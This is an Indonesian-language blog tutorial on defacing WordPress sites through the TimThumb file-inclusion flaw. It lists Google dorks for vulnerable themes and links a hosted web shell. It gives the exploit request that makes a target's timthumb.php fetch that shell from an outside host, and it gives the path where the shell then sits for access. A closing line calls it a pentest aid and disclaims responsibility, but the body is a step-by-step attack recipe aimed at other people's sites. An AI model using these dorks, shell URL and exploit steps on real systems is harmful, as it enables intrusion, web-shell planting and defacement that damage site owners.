Deface Metode ThimThumb Exploit Wordpres

Deface Metode ThimThumb Exploit Wordpres

Assalamualaikum Wr.Wb
Baiklah bertemu lagi dengan saya Adewa (Mr.Adewa)
Terimakasih telah berkunjung ke web sederhanan ini. Hehe
Kali ini saya akan memberikan Tutorial Deface Metode ThimThumb Exploit Wordpres

Baca juga

https://adewa-official.blogspot.co.id/2018/02/deface-metode-webyep-system-infos.html

Sebelum deface kalian harus mempunyai shell bypass untuk thimthumb
-Shell Timthumb (Polosan klik di sini)

http://flickr.com.x-groups.org/M3PS.php

-Dork
Dork timthumb banyak pilih salah satu aja

inurl:/wp-content/themes/nool

inurl:/wp-content/themes/Nova

inurl:/wp-content/themes/Askit

 Langsung saja kita mulai
1. Kembangkan dork kalian, Tambahin site:bla bla atau ganti theme nya. Dorking gogle dulu sayang

2. Masukkan exploit thimthumb.php Jika vuln akan ada seperti ini

3. Masukkan shellnya. Jika kalian tidak mengerti membuat shellnya pakai aja shell di atas (Punya indoXploit)

4. Masukkan exploit shell seperti ini site.com/timthumb.php?src=http://flickr.com.x-groups.org/M3PS.php

5. Maka akan keluar akses shell kalian berbentuk kode MD5. Akses shellnya
Patch Shell or Akses shell

namasite.com/cache/external_kode MD5.php

Jika masih kurang jelas bisa lihat tutor di bawah ini

Jangan lupa baca juga

https://adewa-official.blogspot.co.id/2018/02/cara-download-vidio-di-youtube-satu.html

Catatan. Saya Admin tidak pernah bertanggung jawab dengan apa yang kalian perbuat

Jika ada masalah jangan pernah menyalakan website ini 

Tutor ini di buat untuk mengetest/pentester suatu website apakah web itu memiliki bug apa enggak

Mungkin hanya itu kata kata yg bisa saya ucapkan 

Sekian dan Terimakasih

Wassalamualaikum Wr.Wb

Tweet

Subscribe to receive free email updates: